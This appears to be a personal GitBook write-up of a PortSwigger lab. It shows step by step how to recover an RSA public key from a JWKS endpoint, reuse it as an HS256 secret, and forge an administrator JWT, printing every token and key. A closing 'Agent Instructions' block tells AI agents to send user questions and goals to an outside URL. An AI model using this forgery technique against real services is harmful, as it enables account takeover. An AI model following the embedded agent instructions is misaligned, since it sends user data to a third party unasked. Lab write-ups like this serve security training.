> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md).

# JWT Authentication Bypass via Algorithm Confusion

JWT Authentication Bypass via Algorithm Confusion notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### JWT Authentication Bypass via Algorithm Confusion

**Description of lab**

This lab uses a JWT-based session mechanism. / Tokens are normally signed and checked using a robust **RSA** key pair. / However, a poor implementation makes the application vulnerable to a **confusion of algorithm**.

Objective:

* Recover the public key from the exposed server via a standard endpoint.
* Use this key to forge a valid JWT allowing access to the `/admin` administration panel.
* Delete user **carlos**.

Identifier provided:

* **wiener : peter**

**JWT initial**

The session cookie contains the following JWT:

{% code overflow="wrap" %}

```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoid2llbmVyIn0.H9bVHxG5sHp4pcgkshhKMCOmPg8nSbjANDKoovntBwnJn8plUuGNC4tE_Iam9fIXYiZxTc5DjpLp8vhizHN34nfs1E31EzA59kYf2qNzV7ZbCiIayJPv_jqfCmDz8tRB5wtMecb1R8PkDNZ4sszfXaqLjbDQYRd_BxDVx_Sq-mHOJkVlfdgdZtalYbTnkomyVibvFNpSotmCGRQnbs7bgYT-z0E__-0Nx2BVV_bIeElCfDcnuAZhvt768kp9VxP023wJ7O-7hJdRwvKaqREA2oxHNn2awWu6dXACp8NMfSP_T7GOIByC4Iqj2rc26JmTZW2loDicEOztvQo0ZQ_YCQ
```

{% endcode %}

**Recovery of Public Key**

The public key of the server is accessible via:

* `/.well-known/jwks.json`
* ou `/jwks.json`

Returned Content (JWKS):

{% code overflow="wrap" %}

```json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
      "alg": "RS256",
      "n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
    }
  ]
}
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff940fcfbe6a84b2147ff32f68fd08704bcd677f%2Fimage%20(148).png?alt=media" alt=""><figcaption></figcaption></figure>

**Payload Modification**

The JWT payload is modified to usurp the admin account:

```json
{
    "iss": "portswigger",
    "exp": 1767551470,
    "sub": "administrator"
}
```

RSA Key Creation

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39ae21d3ff591f2cc50f186eb52c6b45021cada7%2Fimage%20(149).png?alt=media" alt=""><figcaption></figcaption></figure>

Copy, paste file jwks.json

```json
{
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
      "alg": "RS256",
      "n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-323cfdf1e56f2f38d2c347121c8aa400a0e52cd6%2Fimage%20(150).png?alt=media" alt="" width="526"><figcaption></figcaption></figure>

**Conversion of Public Key**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81ec73afe997e5599e8b5a7b16bfcb9bcb7776ad%2Fimage%20(151).png?alt=media" alt=""><figcaption></figcaption></figure>

The RSA public key is converted to **PEM** format:

```bash
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiQWjnDjzeQvu5t8YoeFo
21Ez1xfEA+L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeu
qDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4/iIIjn3WqsTb8l2YXG89ysd
vXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj+95ZXa6HRkrGpF0
TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC+k6OhDRhkKV3P3WLP5rZ34ZE+
UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4+B+gAv+80GZBPbMRBT2
oQIDAQAB
-----END PUBLIC KEY-----

```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c60a7809f1780e5bcdaefa0097481061a35ae83%2Fimage%20(152).png?alt=media" alt=""><figcaption></figcaption></figure>

This key is then encoded in **Base64**.

```bash
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
```

**Create a symmetrical key (oct)**

The public key encoded in Base64 is used as a HMAC secret:

```json
{
    "kty": "oct",
    "kid": "b164d13f-f42e-4d78-a539-fbb4b0eb267a",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7437c590289bb87b66cc7c213d7262fa99f8b79%2Fimage%20(153).png?alt=media" alt=""><figcaption></figcaption></figure>

**Algorithm Confusion**

The header of the JWT is modified to force the use of **HS256**:

```json
{
    "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
    "alg": "HS256"
}
```

The server then uses the RSA public key as HMAC secret, which allows you to sign a JWT accepted as valid.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a47758047e163da89d3f70df1d0b69eb95251aa%2Fimage%20(154).png?alt=media" alt=""><figcaption></figcaption></figure>

\*\* Final forged JWT\*\*

```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9._5C_qAZINXvvykAGhPVxUrWNxzyFnjsI49lONaKnk3A
```

This token gives access to the administration panel, allowing to finalize the lab by removing user **carlos**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01418813f856cee322ecaf0014d07bf35e5dfff8%2Fimage%20(155).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
